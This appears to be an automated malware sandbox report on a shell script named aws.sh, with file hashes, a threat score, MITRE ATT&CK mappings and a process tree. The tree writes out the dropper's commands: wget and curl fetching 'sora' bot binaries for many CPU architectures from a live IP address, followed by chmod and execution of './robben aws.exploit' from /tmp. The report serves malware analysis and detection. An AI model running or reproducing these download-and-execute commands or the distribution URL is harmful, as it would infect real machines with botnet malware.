99e19786c3d2f479761d5cdb366a03479880a22d3dc8ffb113a79eaa5542f9d3

Analysis

max time kernel
41s
max time network
43s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
10/11/2024, 18:43

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General

Target
aws.sh
Size 2KB
Sample241110-xcw86awkbj
SHA256 99e19786c3d2f479761d5cdb366a03479880a22d3dc8ffb113a79eaa5542f9d3
MD5 f573398cbbf6b61d682358ebd0859936
SHA1 fc8bb1f77a7c6c89ca536f1eff5685bc7d4b91c4
SHA512 c728a8f23be5a06d7b6e22130c3ff5efec6bb98d46b3bb21d6d7e1681125a072e6f4ca37be85b332536b730f974d516382ef3418aa93400922531b3fcd02d71a
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
794	chmod
854	chmod
723	chmod
780	chmod
824	chmod
841	chmod
868	chmod
743	chmod
766	chmod
735	chmod
750	chmod
757	chmod
808	chmod
861	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/robben	725	robben
/tmp/robben	736	robben
/tmp/robben	744	robben
/tmp/robben	751	robben
/tmp/robben	758	robben
/tmp/robben	767	robben
/tmp/robben	782	robben
/tmp/robben	795	robben
/tmp/robben	810	robben
/tmp/robben	825	robben
/tmp/robben	843	robben
/tmp/robben	855	robben
/tmp/robben	862	robben
/tmp/robben	869	robben

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
727	wget
731	curl
734	cat

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/robben	aws.sh

/tmp/aws.sh
/tmp/aws.sh
1⤵
- Writes file to tmp directory
PID:698
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86
  2⤵
  PID:701
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86
  2⤵
  - Reads runtime system information
  PID:713
- /bin/cat
  cat sora.x86
  2⤵
  PID:721
- /bin/chmod
  chmod +x aws.sh robben systemd-private-4d4d908f319d4916bf9ee2a60ae2767c-systemd-timedated.service-xSCU8T
  2⤵
  - File and Directory Permissions Modification
  PID:723
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:725
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:727
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:731
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:734
- /bin/chmod
  chmod +x aws.sh robben systemd-private-4d4d908f319d4916bf9ee2a60ae2767c-systemd-timedated.service-xSCU8T
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:736
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86_64
  2⤵
  PID:739
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  PID:740
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:742
- /bin/chmod
  chmod +x aws.sh robben systemd-private-4d4d908f319d4916bf9ee2a60ae2767c-systemd-timedated.service-xSCU8T
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:744
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.i468
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.i468
  2⤵
  - Reads runtime system information
  PID:747
- /bin/cat
  cat sora.i468
  2⤵
  PID:749
- /bin/chmod
  chmod +x aws.sh robben systemd-private-4d4d908f319d4916bf9ee2a60ae2767c-systemd-timedated.service-xSCU8T
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:751
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.i686
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.i686
  2⤵
  - Reads runtime system information
  PID:754
- /bin/cat
  cat sora.i686
  2⤵
  PID:756
- /bin/chmod
  chmod +x aws.sh robben systemd-private-4d4d908f319d4916bf9ee2a60ae2767c-systemd-timedated.service-xSCU8T
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:758
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mpsl
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  PID:761
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:763
- /bin/chmod
  chmod +x aws.sh robben systemd-private-4d4d908f319d4916bf9ee2a60ae2767c-systemd-timedated.service-xSCU8T
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:767
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm4
  2⤵
  PID:769
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm4
  2⤵
  - Reads runtime system information
  PID:772
- /bin/cat
  cat sora.arm4
  2⤵
  PID:778
- /bin/chmod
  chmod +x aws.sh robben systemd-private-4d4d908f319d4916bf9ee2a60ae2767c-systemd-timedated.service-xSCU8T
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:782
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm5
  2⤵
  PID:785
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm5
  2⤵
  - Reads runtime system information
  PID:787
- /bin/cat
  cat sora.arm5
  2⤵
  PID:793
- /bin/chmod
  chmod +x aws.sh robben systemd-private-4d4d908f319d4916bf9ee2a60ae2767c-systemd-timedated.service-xSCU8T
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:795
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm6
  2⤵
  PID:798
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm6
  2⤵
  - Reads runtime system information
  PID:800
- /bin/cat
  cat sora.arm6
  2⤵
  PID:806
- /bin/chmod
  chmod +x aws.sh robben systemd-private-4d4d908f319d4916bf9ee2a60ae2767c-systemd-timedated.service-xSCU8T
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:810
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm7
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm7
  2⤵
  - Reads runtime system information
  PID:815
- /bin/cat
  cat sora.arm7
  2⤵
  PID:822
- /bin/chmod
  chmod +x aws.sh robben systemd-private-4d4d908f319d4916bf9ee2a60ae2767c-systemd-timedated.service-xSCU8T
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:825
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.ppc
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.ppc
  2⤵
  - Reads runtime system information
  PID:834
- /bin/cat
  cat sora.ppc
  2⤵
  PID:838
- /bin/chmod
  chmod +x aws.sh robben systemd-private-4d4d908f319d4916bf9ee2a60ae2767c-systemd-timedated.service-xSCU8T
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:843
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.ppc440fp
  2⤵
  PID:845
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.ppc440fp
  2⤵
  - Reads runtime system information
  PID:847
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:850
- /bin/chmod
  chmod +x aws.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:855
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.m68k
  2⤵
  PID:857
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.m68k
  2⤵
  - Reads runtime system information
  PID:858
- /bin/cat
  cat sora.m68k
  2⤵
  PID:860
- /bin/chmod
  chmod +x aws.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:862
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.sh4
  2⤵
  PID:864
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.sh4
  2⤵
  - Reads runtime system information
  PID:865
- /bin/cat
  cat sora.sh4
  2⤵
  PID:867
- /bin/chmod
  chmod +x aws.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:869

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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